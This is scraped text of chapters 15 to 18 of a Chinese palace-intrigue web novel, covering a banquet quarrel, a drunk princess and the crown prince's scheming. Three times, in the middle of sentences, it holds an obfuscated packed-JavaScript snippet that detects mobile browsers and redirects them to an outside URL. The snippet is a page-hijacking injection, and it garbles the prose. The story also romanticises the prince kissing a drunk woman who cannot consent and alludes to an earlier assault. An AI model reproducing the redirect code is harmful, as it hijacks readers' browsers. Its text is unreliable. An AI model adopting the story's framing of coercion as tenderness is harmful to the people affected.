永元帝略显疑惑的声音一出,周围的交谈都轻了许多,悉数目光齐刷刷地汇集于他们二人身上,周砚枕的动作僵住,生平第一次觉得额角有些冒冷汗。 有了方才那一遭,大伙只觉得今天真是没有白来,这闹剧还真是一出又一出。 好在周砚枕是个能抗住事的,饶是心中擂鼓打得惊天动地,举手投足仍是沉稳:“回禀圣上,清漓不胜酒力,臣请,带公主先回去休息。” 赵齐哪里知晓赵清漓身上发生过的诸事,只当还是为了周砚枕留宿烟花柳巷的事闹别扭,因此抱着看好戏的心态,甚至还有意添一把柴。 “周大人和皇妹这是怎么了?”赵齐咂咂嘴,“莫不是大人做了什么错事惹清漓不高兴了?” 15. 第 15 章 朝堂上有很多人看不惯周砚枕的做派,明着褒他勤勉,暗里贬他清高。权贵中自然也有人对他不满,首当其冲的是以前的淮王,再有便是与淮王交好的六皇子。 现在淮王不争权势许久,对他敌意似乎也淡了,这六皇子倒是性情中人,一如既往的打心底里对他有偏见,好不容易抓住一个把柄,怎肯轻易揭过。 但说到底周砚枕对六皇子也十分瞧不上眼,故意拐弯抹角道:“六皇子殿下见多识广,臣自然不如殿下这般擅长讨女子欢心。” “周砚枕!”赵齐怒喝一声,哪怕是傻子也能听得出这话里的讽刺。 好吵...... 头晕的感觉还没缓过来,这两人又在自己身边一左一右地争吵起来,赵清漓觉得自己脑子都要裂开了。 这场闹剧的矛盾点从赵清漓这边似乎又要转移到周砚枕和赵齐身上,永元帝先前就已经觉得脸上挂不住生了大气,这会看到自己的儿子女婿也是一样的不成气候,简直是胡闹! 永元帝的身形已经微震,一旁的皇后和惠贵妃自然第一时间感受到他情绪的变化,相互交换了眼色之后,惠贵妃轻声细语地哄他先去休息,皇后则是拍拍他的手,唤了一声太子,让他帮着处理。 永元帝身体越发不如从前,今天这一波三折的动怒,的确不适宜再待下去。 而赵辞在永元帝中就像一颗定心丸,为人敦厚谦和,做事滴水不漏,从没出过什么差错,当初淮王党的人拼尽全力想去拉他下水,也始终没挑出什么毛病,他像是完美的。 有他在,永元帝便没什么后顾之忧了。 圣驾离开,宴席上的紧张气氛缓和很多,那些贵女们原本战战兢兢的,此刻也互相攀谈起来,讨论着面前新的闹剧,只是看向周砚枕时无可避免的脸上泛起一丝红晕。 的确,周砚枕的容貌,哪怕一袭寡淡白衣随意站着,比之那些衣着华贵的皇子仍然更胜一筹。 长宁公主刚吃了鳖,现下看谁都是不爽的,再瞧后头叽叽喳喳投去艳羡神色的女子妇人,鄙夷地啐了一声“浅薄庸俗”,但她看向赵清漓的眼神也并不友善。 此刻的赵清漓自是注意不到这些了,只一味地推搡周砚枕揽着她的动作,斥他:“不许碰我!不许你碰我!” “清漓,莫要再任性了。” 几位近臣侧目,见是赵辞拢着眉宇去劝,心道公主和太子关系最为要好,这下定是能劝住的。 令人更意想不到的是,那身着粉裳的少女鬓发挣扎的也乱了,睁开眼睛瞧见来人是赵辞的时候竟是陡然瞪大眼睛,又喊了一声:“你也不许碰我!” 众人:...... “咱们清漓公主似乎酒品不大好。”长宁公主尖声嘲笑了一句,姿态从容地拢了拢外袍,缓步靠近那块是非之处,“要不,我扶你?” 赵清漓眼睛睁得是大,人却是看不清楚的,凑着小脸仔细分辨了好久,才认出这是她儿时的玩伴赵姝绾。 嗯......就是和以前长得不大一样了。 她柳眉紧锁地想了好一会,像是下定了决心一般:“你......可以。” 众人:...... 就连长宁公主本人也顿感无所适从,嘴角微微抽搐,她可没真的想扶她。 赵清漓却扑到她身上,全身力气都卸下,勾着长宁公主的脖子唤她:“皇姐皇姐,我头好晕啊!” 长宁公主则是全身都不自在,面上露出嫌弃的表情,急促地看向周砚枕:“你还愣着做什么,还不把她带回去!” 周砚枕不敢妄动,他担心自己多碰赵清漓一下,这位醉醺醺的少女还能吐出更多惊人的内幕来,他倒是不太要紧,太子就...... 看向太子,赵辞的表情果然不太好,但也说不好是因为什么表情不太好。 长宁公主还在试图把身上挂着的人扯下来,同时不断催促周砚枕。 然而,周砚枕的解救没等到,等到的是赵辞动作强硬地掰开赵清漓盘的死死的胳膊,随即稍微弯腰,长臂一伸从她膝下过去,下一刻,赵清漓已经被他打横抱起。整套动作行云流水,熟练至极。 长宁公主怔了下,接着迅速整理自己的衣裳和发髻,暗骂自己今天这么隆重的打扮,居然毁在了这死丫头手里! 周砚枕深感赵辞的举动不妥,压低声音提醒:“殿下......” “无碍。”赵辞抿了抿唇,板着脸扫了一眼怀里半梦半醒的娇影,“我来处理。” 交叠的身影缓缓融入夜色帷幕中,消失在萤点星火簇拥的朱红宫墙后。 当真无碍吗? 周砚枕站在大殿门前,望着两人消失的地方若有所思,直到长宁公主叫了他一声,这才回过神来。 他倒是忘了还有这人在:“长宁公主还有何指教?” 长宁公主疑惑道,“再怎么说她也是你的妻室,怎能放手让太子照料?” 周砚枕自然也知道太子的行为不合规矩,只是事情已经发生了,还得先装下去,他惭愧道:“臣与清漓的确发生了一些误会,眼下她正和臣赌气,想来也是不肯让臣照顾的,太子殿下自小和清漓一起长大,清漓也更听他的话,待明日酒醒了,臣再求她原谅便是。” 长宁公主并未完全相信,追问:“哦?可我方才怎么听到清漓说她也不愿太子照顾呢?难道太子殿下和清漓之间也有误会?” “怎会。”周砚枕从容一笑,“许是清漓喝醉了酒,错将太子认错成了臣。” 长宁公主啧啧两声,摊开手笑道:“也对,毕竟是太子身边的忠犬,跟主人有些相像也很正常,看来咱们清漓公主眼拙了!哈哈哈哈——” 这话一语双关,先前看不惯周砚枕的那伙人听得有长宁公主开头,也迫不及待紧跟上嘲笑一番。 大家本也喝的差不多了,圣上一走,立刻乐得轻松放肆大小起来。 周砚枕并没喝多少酒,且他酒量十分好,此刻还保持着眼神清明。 因此,周遭的哄笑声同样也很清晰,他能清楚地看到围绕在他身边的文武群臣,白日里在朝堂上个个对他敬畏有加,此刻酒精的催促作用下,一个个的都现了原形,人皮底下披的是什么鬼,也看得十分明了。 淮王不动如山地坐在位置上,看向身边的六弟:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999034|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我瞧你方才对周砚枕似乎有诸多意见,这会子怎么不爱凑热闹了?” 赵齐神色别扭,叹道:“五哥好眼力!我是觉得周砚枕是个伪君子,但不管怎么说他也是清漓的驸马,我对他意见再大那也是家事!” 说罢,他恶狠狠瞪了一眼长宁公主鲜红的背影:“即便不满我也不会和她一起取笑别人,她算什么!” 淮王眼神微微闪烁,沉吟道:“那便去帮帮他?” 想起方才被周砚枕数落的毫无还口之力,赵齐撇撇嘴:“我才不去......” 另一头,周砚枕冷漠地将一切尽收眼底,也把这些人的脸都好好地记在了心里,而后拱手笑了笑:“长宁公主既然用臣类犬,又说太子殿下与臣有相像之处,那么臣是不是可以理解为......公主在暗讽太子也是犬类?” 最后一句话故意被他说得慢悠悠的,声音虽然不大,但一字一声咬得很清晰,生怕旁人听不清楚一般。 哄笑声也随着他的话戛然而止。 周砚枕快速将这些面含心虚的人打量了一圈,转头看向离自己最近的吏部侍郎:“程大人,您也是这般想的么?” 被突然点名的程书达如当头棒喝,脸色大变地打了个冷颤,连忙否认:“岂敢岂敢!周大人青年才俊,太子殿下更是慧眼识珠,您二人在朝中威名显赫,我们大家都难以望其项背啊!诸位,你们说是不是啊?” “是啊是啊......程大人说的都是我等肺腑之言啊!”唯恐被拖下水,先前嘲笑的人都附和起来。 场面渐渐被拉回周砚枕掌中,他神色淡淡地,重新注目于长宁公主:“所以,这是长宁公主一个人的意思了?” 文官的口才向来没有差的,而且他是周砚枕,是殿试状元,岂是能轻易被人拿了话柄的。 长宁公主知道自己说不过他,但也不会因此认输,破罐破损又何妨,便抬高下巴:“是又如何?” 意料之中的回答,周砚枕寒声道:“公主这是认了?” “认了又怎么样!”长宁公主显然有些气急败坏了,“怎么,周大人要去向太子告状吗!” 周砚枕淡笑:“是回禀。” 说罢,他拱拱手,背身跨过门槛,远离这个是非之地。 其他人则是面面相觑,打量长宁公主的表情有同情的,有幸灾乐祸的。 回禀,说得倒很冠冕堂皇,不就是拿太子来施压嘛!还真是狗仗......算了,这话他们也不敢说,只能在心里偷偷想一想。 当然也有暗自舒一口气,庆幸自己幸好没跟着长宁公主继续闹下去,接着假装无事发生继续饮酒作乐去了。 话分两头,韶音宫。 光禄殿人声喧闹,值守的人大多也都在附近,别的寝殿自然就寂静萧条。 约莫还差一刻就到子时,天上连星星都少了,漆黑御园里,只有看不见的虫鸣显得最是吵闹。 赵清漓被一路抱回寝宫,闭着眼睛,只觉得抱着她的怀抱既温暖又熟悉。 唔......赵姝绾什么时候力气这么大了,身上的香粉味也换得如此特殊,不似女儿家用的。 16. 第 16 章 抱着她的人步伐很稳,虽然脚程很快,却也没带来许多颠簸之感,顾及了她醉酒之后的不适。 “唔......皇姐......”赵清漓窝在他肩头,两只胳膊环着他的后颈,迷迷糊糊叫着。 赵辞没说话,抬脚跨过韶音宫内院,正在院子里打水的春桃吃了一惊,诧异自家公主怎么醉成这个样子,还被太子抱回来了! “太子殿下......”来人是太子,春桃自然不敢声音太大,生怕惊扰了其他侍奉丫鬟。 赵辞沉声交代:“不许旁人进来。” 目送赵辞快步越过自己的身影,春桃连忙保证:“请殿下放心,奴婢明白!” “皇姐......赵姝绾!”自己呼唤的人迟迟没有回应,赵清漓鼻子一皱,攥着拳在他肩上用力锤了一下。 赵辞的脸色又阴沉几分:“唤了一路的皇姐,我怎么不知道你们何时这么要好了?” 恰好已经来到床榻边,床上的被褥整齐的平铺着,他随手一掀,把臂弯里的人往里头塞了一些,动作中带了点埋怨的意味。 赵清漓掉进绵软似云朵的绣褥中,拖着沉重的身子翻了个身,半张脸趴在枕头上,慢半拍地回应:“赵姝绾,小气鬼!” “?” 赵辞背在身后的拳头莫名紧了紧,叫了这么多遍,竟还是在叫那个赵姝绾! 罢了,何须同脑子不清醒的人计较。 他的拳头慢慢松开,坐在床边缓缓靠近赵清漓的耳朵,轻声道:“那我们不理那个小气鬼了,好不好?” 这次赵清漓答应的很爽快,闭着眼睛扬起一个笑脸:“好!” 赵辞也随着她笑了笑。 笑容还没完全展开,赵清漓又耷拉下来脸:“周砚枕,讨厌鬼!” 怎么又提起别人的名字,抱她回来的不是他吗! “......”赵辞强忍着不快问道,“为何?” 赵清漓混沌地想了想,浆糊似的脑袋怎么也想不清楚该如何说得清楚,便直接道:“不喜欢我......讨厌鬼......” “不喜欢清漓,便是讨厌么......”赵辞喃喃念着,“那清漓觉得我如何?” 赵清漓豁然睁开朦胧的双眼,含水的杏眸宛若失了焦,努力想要看清眼前的人:“你是谁?” 赵辞捏上她又烫又软的小脸俯身凑近几分,强行让她正视自己:“现在可看清了?” “看清了......”赵清漓小声嘟囔,“......不认得。” 先前在殿上看这娇软粉嫩如蝴蝶一般的小丫头一杯接一杯的,还以为她酒量不错,没想到竟是这么半壶就给自己灌醉了,非但差点在殿上大闹起来,现在连人都认不清漓。 也不知道她明日醒了会不会扶额懊恼。 赵辞刮了下她的鼻尖,佯作抱怨:“我待你这么好,现在竟连我都认不得了?真是没良心!” 待她很好的人...... 赵清漓努力在记忆中搜寻,待她最好的是父皇和母后,可眼前这人怎么看也是个男人,必定不是母后,父皇嘛......父皇哪有这么好看? 想来想去,她不确定道:“太子......哥哥?” 软糯清甜的声音轻轻唤她,带着几分犹豫和询问,生怕自己认错人似的。 然而就是这么简单的四个字悄然落地,却如秋风阵起,掠过他深渊一般的心底,在水面荡起一圈小小的涟漪。 “清漓始终觉得我待你很好,对吗?” 他的声音越发温柔,生怕抬高一点音量就会吓着她,说出自己不想听的答案。 万一她不承认自己好了怎么办? 赵清漓抬起双手,手心贴在他脸侧的时候,手心是滚烫的,还带着席间不小心沾染的酒香,分外诱人。 赵辞很想拉着她的手腕舔舐,但还是忍住了,而是捉住她手心轻啄两下,以解心痒。 “以前很好。”赵清漓茫然地看着他,想到近日发生的事,眼圈兀的就红了,颤声说道,“现在不好了......” 赵辞失笑,直白道:“就因为我占了你的身子,现在便不好了?” 断断续续的记忆突然一起冲进脑海,赵清漓条件反射一般从床上爬起来,险些把脑袋磕在床架上。 “慢些。”赵辞把她扶起来,又将软枕垫在她腰间脑后,耐心又温和,“我在这里,有什么说与我听,若清漓看不惯我,我改。” 赵清漓揪着腰间锦被,被他直白的话语冲击到了,委屈地申辩:“你姓赵,我也姓赵。” 许是喝了酒的缘故,赵清漓的眼神不似平日看他那般带刺,说话也不是那么明嘲暗讽的。 一切仿佛回到幼时,六岁那年刚被接回宫中,彼时的赵清漓尚且三岁,睁着水汪汪的大眼睛拉着皇后的手,怯生生地仰着脑袋问他:“你也是我的哥哥吗?” 这宫里有赵清漓的许多哥哥姐姐,但没有他的哥哥姐姐,所有人对他都像对一个入侵者一般,骂他是名不正言不顺的野种,就连亲口叫人接他回来的父皇对他也尤为冷漠,除非哪日想起了曾与自己有过几夜温存的傅氏,也会扮演一回慈爱的父亲。 只有赵清漓,一如既往的叫她一声“哥哥”。 后来慢慢长大一些,赵清漓越发懂事,人前会乖巧地唤他一声“三皇兄”,若无外人在,她仍会甜甜地叫他“哥哥”。 似乎对于赵清漓而言,他一直是特别的。 想到这里,赵辞的眼神更加温柔,不过他还是要提醒一句:“你姓宋。” 她差点忘了自己并非赵氏本族,经赵辞这么一提醒,她脸上立刻染一层失落:“噢,那你不是我哥哥了。” 不是哥哥...... 赵清漓鼓着脸颊瞪他:“那也不行!六皇兄说了男女之事是要两情相悦的!” 赵辞暗自诽腹,他当然会这么说了,烟花柳巷的女子哪个不是为钱舍身的,赵齐向来挥金如土,哪个女人不喜欢? “是,但清漓何时给过我机会了?”他继续哄骗,“清漓从未想要了解我的心意,更从未考虑过和我会有以后,我要如何......与清漓两情相悦?” 似乎......似乎也有道理...... 赵清漓露出苦恼的表情。 赵辞唇角噙着笑,意识不清的人果然很好骗,接着撑起两只手臂在她身侧,宽厚的肩头把人完全笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999035|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩在自己的私人领域之中。 “清漓何不试着敞开心扉接受我,就以此刻为始。”他微低下头,额头抵着她的,乘胜追击,“我定能给你所有想要的......” 随着亲昵而郑重的承诺落下,唇上似有微凉也随尾音落下。 不同于之前的蛮横强硬,这是一个极尽温柔,带着满腔怜惜的吻,是在他极力克制自己更加放肆的举动,第一次真正像是在询问她是否愿意,是否可以的一个吻。 那道询问流连在她朱红鲜艳的唇上,轻柔缓慢地反复辗转试探,只等她如方才的问题一样给他答案,主动迎合而上。 赵清漓的心思却已经飘远了,木讷地任他在唇峰嘴角处轻咬吮吸,脑海中一直回荡着他的最后一句—— 所有想要的。 衣食无忧、荣华富贵都是她生来就有的,旁人一声望尘莫及的东西,于她而言全都唾手可得。 她从来没有考虑过自己想要什么,或者说,她不知道有什么是可以被自己所需要的。 想要什么—— “你唔......” 思量许久的话还没来得及说出,张口的瞬间,那人以为自己得了允准,便肆无忌惮地顺着她张开红唇的动作趁虚而入,反复吮吸,将她的舌尖唇瓣玩弄于唇舌之中。 微薄的理智再一次被夺走,连同呼吸一起尽数湮灭在他的亲吻里。 良久,赵辞不舍地放开她,准许她暂时掌控自己的呼吸,短暂的时间之后,他欲再次覆上,却听得赵清漓带着哭腔死死拽上他的衣襟。 她的眼眶泛红,下一刻就要落下泪来,心中只记得方才思考许久之后得出的答案,小声呜咽:“救救我......” 这声道尽无助的恳求如同一盆冷水浇在赵辞头上,全身的血液似乎凝固住,不得动弹。 他从未见过赵清漓这样的表情,哪怕是在大婚那夜,她也不曾露出这样绝望痛苦的神情。 赵辞拭去她眼尾睫毛挂着的明珠,喑哑了声线:“别哭,要我如何救你?” “有人要杀我!不、有人要杀你!”赵清漓急的语无伦次,胡乱说着。 赵辞虽然觉得莫名其妙,却也只能先安抚她,轻拍她的背道:“别急,你慢慢说。” 赵清漓却不知道该怎么说下去了,她现在的脑袋本就晕晕乎乎,那日的情形她又不了解前因后果,只知道皇族满门被屠,自己也被人一剑穿喉,她的父兄们是如何被杀的,杀他们的人又是谁,她一概不知。 她急的嘴唇都要咬破了,赵辞于心不忍,按住她的动作,像哄幼童一般:“清漓方才说有人要杀我......或者是你,你可知那人是谁,长什么样子?” 赵清漓摇头,茫然地看着他,不知道该说些什么。 赵辞笑了笑,让她安心:“那,是谁告诉你这些的?” 赵清漓皱着眉低头想了一会儿,仍是茫然:“没有人、没有人告诉我。” 赵辞怔了一下,脸上露出明显的疑惑:“那清漓又是如何得知这些的?” 赵清漓愣住了,她怎么会不知道,这些事都是她亲身经历过的,也曾在夜晚时分无数次让她陷入梦魇! 她如何会忘! 17. 第 17 章 她愣愣地盯住温柔看着她的男人,这才发觉自己已经不似头先那般迷糊了,她甚至清楚地意识到眼前这个人正是那个珍惜过她、也欺辱过她的人——赵辞。 也是她从前信任过的——赵辞。 许是身边再不知道该轻信何人,许是心中苦闷实在扰她不得安宁。 如今,她只是需要那么一个能够听她一吐为快的人罢了。 可是赵辞......可以吗?她还能信任他吗? 看出赵清漓的犹豫,赵辞并不气恼,像小时候那样抚摸她的额头,说道:“清漓气我也好,怨我也好,可我对清漓的喜欢都是真的。旁人有什么与我无关,但你的事......只要你愿意,我一定会管。” 心中挣扎了一番,赵清漓小心翼翼地开口:“我......死过一次......” 赵辞怔然,以为听错了一般重复一遍:“死过一次?” “你不信是不是!”赵清漓反应十分强烈,两只手攀上他的衣领用力抓着摇晃。 赵辞任由她摇晃自己,无奈道:“我没有不信。” ”清漓既说自己死过一次,那你告诉我,你是如何死的?” 赵清漓却不肯再说了,她知道无论是谁听到这话都不会信。死而复生也就罢了,重生至已经过去的时光,话本里也没有这样写的。 若不是这话本一样的故事主角是她自己,旁人说与她,她也定是不会信的。 “我知道你不信我......” 房里陷入短暂的安静,赵清漓惴惴不安地耷拉着脑袋,缓缓松开手。 许久,赵辞握住她渐渐被夜里寒气染凉的手,搁在手心里捂着:“你肯与我说这些,我很开心。” 接着他话锋一转:“你今夜多饮了酒,说了许多醉话,想必是累了,好好休息吧,睡上一觉明天便会好的。” 月色渐渐隐藏于夜幕中,想来那边的宫宴也已经到了尾声。 方才心中的激动缓缓褪去,眼皮子也开始打架了。 但赵清漓还是别扭地看了他一眼:“你在这里我睡不着。” 许是体恤她今夜辛苦,赵辞爽快的答应,去外头叫来了春桃为她更衣,自己则是叮嘱了几句,也不多做停留。 韶音宫外,赵辞迈出外院门栏,却见分辨不清颜色的漆墙下笔直地站着一个人,青色的长袍在夜里分外鲜明。 他脚步微顿,继而朝那人走去:“周中丞,夜里风大,怎么不进去?” 周砚枕拂去袖上的微尘,微低身段:“殿下放心,没有尾巴跟来。” 骤然,赵辞周身的气息冷了三分,眉眼惯会伪装的体恤之意尽收,变得尤其冷冽。 他的声音同样漠然:“你就在她身边,竟也放任她喝这么多酒?” “臣......” “罢了!”赵辞不耐地打断,目光在周砚枕身上稍作打量,“你有话说?” 周砚枕缓缓直起身子,沉声提醒:“殿下今日有些心急了。” “我知道。”赵辞不置可否。 他自然知道今日他的举止不够周全,若非怕赵清漓说了什么造成更加难以收拾的局面,也是他第一次见她醉成那个那个样子,关心则乱。 赵辞自己也没想过会如此沉不住气,居然越来越藏不住了。 他思忖片刻:“可有人起疑?” 凭太子和赵清漓的关系,旁人就算多想,也只当两人关系太好,断不会想到别的地方去。 但若说无人起疑...... 不知道为什么,他素来认为长宁公主是个行事冲动没什么脑子的,但方才离开时候,长宁公主留下的眼神的确有些说不上来的微妙。 周砚枕将两人走后宴席上的情况回禀于他,说出心中猜测,“长宁公主……恐怕是变数。” “无妨。”赵辞颔首,露出不在意的表情,“赵姝绾今日彻底得罪了父皇,只怕也没几天活头了,若是她连这几天都不愿珍惜,本宫也不介意早些送她上路。” —————— 翌日。 从睡梦中转醒的时候,赵清漓的脑袋还是昏昏沉沉的,胃里也跟着微微痉挛,全是她昨晚醉酒的功劳。 按了按太阳穴,床尾凤履摆放的整齐,身上的华服也换成平日穿的寝衣,像是一个寻常的早晨。 只是……昨晚她是怎么回来的? 脑海中一闪而过她搂着长宁公主死死不放的记忆,忽而又变成一只骨节分明的手,手腕之上一节朱红的袖衬,再后来,是赵辞的脸。 “吱呀”一声,房门开合,春桃端着热了三次的醒酒汤进来。 “您终于醒啦!”春桃眼睛一亮,连忙上前,“小厨房送来了醒酒汤,您趁热喝点吧,兴许能好受一些。” 赵清漓接过汤碗低头喝了一口,温热的清汤带着酸和微微的辛辣,落进胃里暖暖的,确实好受了一些。但这味道她实在不喜欢,喝了两口便搁下了。 眼见着外头天色大亮,赵清漓问道:“现在什么时辰了?” “巳时……约莫快午时了。”春桃想了想。 她还真不是喝酒的材料,不过一次醉饮竟睡了这么久,险些要耽误正事。 赵清漓急忙下床,唤来冬梅替她梳洗。 过了一会儿,春桃把碟碗都收拾下去,捧着干净衣裳回来,放在桌上正要出去,突然又折返回来,犹豫道:“公主,驸马去上朝之前嘱咐过奴婢,若您醒了想去面见圣上,请等他稍许,他从太子那里回来后同您一起去。” 他这是答应了,还是在警告自己已经把事情告诉了赵辞? 赵清漓听得眉心渐沉,思量片刻后嗯了一声,淡道:“知道了,你先出去吧。” 春桃正要退下,又听得赵清漓说了一声“等一下”,而后扬手让冬梅下去,对着她道:“你来替我梳。” 春桃愣了一下,听话地上前,心中却直打鼓,自从公主将那件事戳破,她总觉得战战兢兢,时而心存内疚,时而又怕太子弃了她这颗子,届时再无所依。 偌大的寝殿里沉默了好一阵子,赵清漓幽幽开口:“昨夜是谁送我回来的?” “啊?” 春桃暗自松一口气,怪不得要摒退冬梅,原来是要问些私隐之事,一时之间说话也有了底气:“回公主,是太子殿下送您回来的!” 果然是他,似梦非梦的零星片段在脑海重现,如此一来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999036|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那便不是幻觉。 赵清漓猜到是这个结果,又问:“驸马是何时回来的?” 春桃老实回答:“太子殿下刚离开,驸马爷就回来了,不过……” 春桃冷静了下,将昨日宴上发生之事向赵清漓叙述了一遍,末了还补充一句:“驸马爷说,若您醒了一定要将这些一字不差的转告您。” 赵清漓听罢讥讽的一笑,捏在手里把玩的珠钗啪的一下狠狠砸在妆台上,吓得春桃全身一抖,条件反射地跪伏在地上。 铜镜中的倩影柳眉促着,一脸的愠色:“他这是在责怪本宫了?” “公主一定是误会了!”春桃急忙解释,“今日卯时奴婢去打水的时候听到其他宫里也在议论昨晚宫宴上的事,想来驸马爷是担心公主您知晓不清来龙去脉,万一遇上宫里其他娘娘也不好应付!” 赵清漓的脸色这才缓和一些,那支珠钗重新回到她手中。 她方才气恼也不是全因为他,更是气自己酒后失态,还好昨晚众人注意力的重点都在长宁公主身上,应该不会怀疑什么。 说起来也是可笑,那时她头脑不够清楚,心中只认定了赵辞和周砚枕是一条船上的,都是欺负自己的人。在那样的场景下,她能勉强信任的人竟然是与她针锋相对的长宁公主。 “公主……殿下?”春桃小声试探,打眼瞧着着赵清漓脸上的怒意是消减了一些。 赵清漓回过神,余光瞥了她一眼:“你先起来。” 春桃依言起身,继续为她梳妆,一边说道:“听闻圣上生了大气,回去后还传了御医去瞧,哎,那么大庭广众之下,长宁公主竟敢如此放肆……好在太子殿下三言两语就把她给噎了回去,否则真不敢想象那样的场景要如何收场。” 赵清漓手上动作顿了顿,目光透过铜镜淡淡地扫了一眼身后的低着脑袋的人影,唇角不悦地抿了一下。 春桃这丫头对赵辞倒是很忠心,无论什么时候都能见缝插针地捧他几句。偏她说话也很有水准,也不知是因为服侍自己久了足够了解还是旁的什么原因,她的每句话似乎都在提醒自己。 长宁公主和永元帝对立已成定局,不论为了大历还是为了父皇,赵辞都是不可或缺的重要角色…… 事实似乎也是这样,尽管她不想承认。 换好衣裳,赵清漓面无表情地在原地踱了几步,总觉得忘了什么重要的事。春桃的脑袋也跟着她的步伐来回转,脸上写满疑惑。 末了,赵清漓一怔,偏过头一字一句地问道:“昨晚……我和太子说了些什么?” 春桃纳闷地摇头:“回殿下,昨晚奴婢在外院,不曾跟在您的身边,还是太子殿下叫奴婢为您更衣,奴婢才敢进来的。” 赵清漓追问:“他在房里待了多久?” 春桃细细回想了一番:“也就半柱香的时间。” 赵清漓心下一沉:“那,太子离开时候……脸色如何?” 她实在不知道该怎么开口,难道要她直接去问自己有没有说过“死过一次”这种荒谬的话吗? 若是没有也便罢了,若她昨晚真的和赵辞说过这种话,天知道她要如何解释得通,但愿不要被人真的当作疯子关起来才好…… 18. 第 18 章 “什么、什么脸色如何?”春桃听的一脸雾水,“奴婢瞧着没什么异常的呀,倒是抱您回来的时候脸色不太好!” 说着,春桃咽了咽口水,用一种活见鬼的表情看着她:“殿下,您昨天回来时候可是一直念叨长宁公主的名讳呢!” “……” 酒醒忘记发生过的事也就罢了,最可怕的是她似乎都有点印象,现在好了,还有人来帮她不断加深印象。 赵清漓尴尬的轻咳一声,伸手在春桃后脑勺上拍了一下,催促道:“去把我放着的织锦羽缎狐裘拿出来,今日不去看望父皇了,你随我去丽妃娘娘那里瞧瞧。” 经过昨日那么一遭,她哪敢再去提和离的事,生怕他老人家活得久不是?正好六皇兄那日提过的,赵清漓想着与丽妃娘娘也有许久未见了,索性便去那坐坐。 丽妃生得一副妩媚艳丽的容貌,偏偏性子却不似她的长相,私下里既不爱热闹,也无心争宠,最喜欢侍弄些花草,亦或抚抚琴。从某些方面来说,赵齐也算是遗传了她的特质。 霁月宫偏僻,但确实清净,还未走至,路上的宫人已明显少了许多。 宫外的亭台渐渐露出一角,再过不远便是芙蕖池,池后是长宁公主居住的芙蕖苑。 赵清漓朝芙蕖苑的方向遥遥望了一眼,提着裙摆下了台阶,拐进霁月宫的院落。 一进暖阁,百合花香萦萦绕鼻,殿内四角的玉壶春瓶中插满了粉白的百合花,香味正是从这里飘散而出。桌几上摆好了菊花茶,描花的瓷杯飘着暖色的胎菊。 丽妃方才就听人通传公主要来,刚把茶水满上,熟谂地招呼她坐下。 赵清漓也毫不见外,将肩上的披风解下交由宫女收好,坐在云塌上打量殿里的百合,诧异道:“我原以为百合已经过了季,怎么娘娘宫里的竟还开的这样好?” 丽妃笑道:“是你六哥差人从余杭送来的龙牙百合,说是好生养着还能过冬呢。” “六哥真是有心!”赵清漓接过春桃递来的狐裘,抱在怀里佯装为难道,“我还想着快要入冬了,先给娘娘把过冬的狐裘备上,没想到娘娘宫里温暖沁香,还是六哥和娘娘母子连心,最能投其所好!” “又贫嘴!你送的我也喜欢。”丽妃无奈地笑了笑,命人将狐裘好好收着,领着春桃出了殿门。 丽妃盯着赵清漓看了好一会儿,感慨道:“时间过得可真快啊,一转眼,清漓也嫁人了……” 早就听说丽妃因为赵齐花花公子的秉性一直头疼得不行,其他兄长或封王或立储,就连几个弟弟经颇为懂事,反观赵齐依旧是这样不成气候,永元帝每每提起都是不住叹气,丽妃心里定然也不好受。 赵清漓轻抿一口茶,菊香清冽缓缓入喉,沉吟道:“六哥不在宫里吗?” 丽妃摇摇头,长叹一声:“一早请了安就出门去了,几乎每日都是这样。” 赵清漓讪笑了下:“六哥年岁还小嘛……” 丽妃闻言剜了她一眼:“你既唤他一声六哥,就知道他可是比你还年长一岁!” 还没开始劝,眼看着就要生气了。 赵清漓不由得揉了揉额角,装作四下打量一圈的样子,岔开话题:“我瞧娘娘寝殿周边到处都是花池,待入冬可就更凉了,父皇好几次说起想要修缮新殿好让您搬得近一些,他可跟您提过了?” “提过。”丽妃捧着瓷杯喝了一口茶,不在意道,“后宫里有的是妃嫔和他亲近,我又何须凑那个热闹。” 可是长宁公主搬回宫中,以她那般爱生事的个性,您这里怕是清净不起来吧? 这么想着,赵清漓便委婉地问了一句。 丽妃闻言却微微蹙起眉,思索了好一阵子,不确定道:“她……似乎不怎么在宫里。” 赵清漓吃了一惊:“当真?” 怪不得! 细想下来,除了长宁公主回宫那日,赵清漓似乎从未在宫中与她见过,耳根子也是清净许久。 丽妃迟疑了片刻,还是点点头:“你也知道我鲜少管旁人的闲事,还是你六哥昨晚来找我抱怨,顺口提了一嘴——” 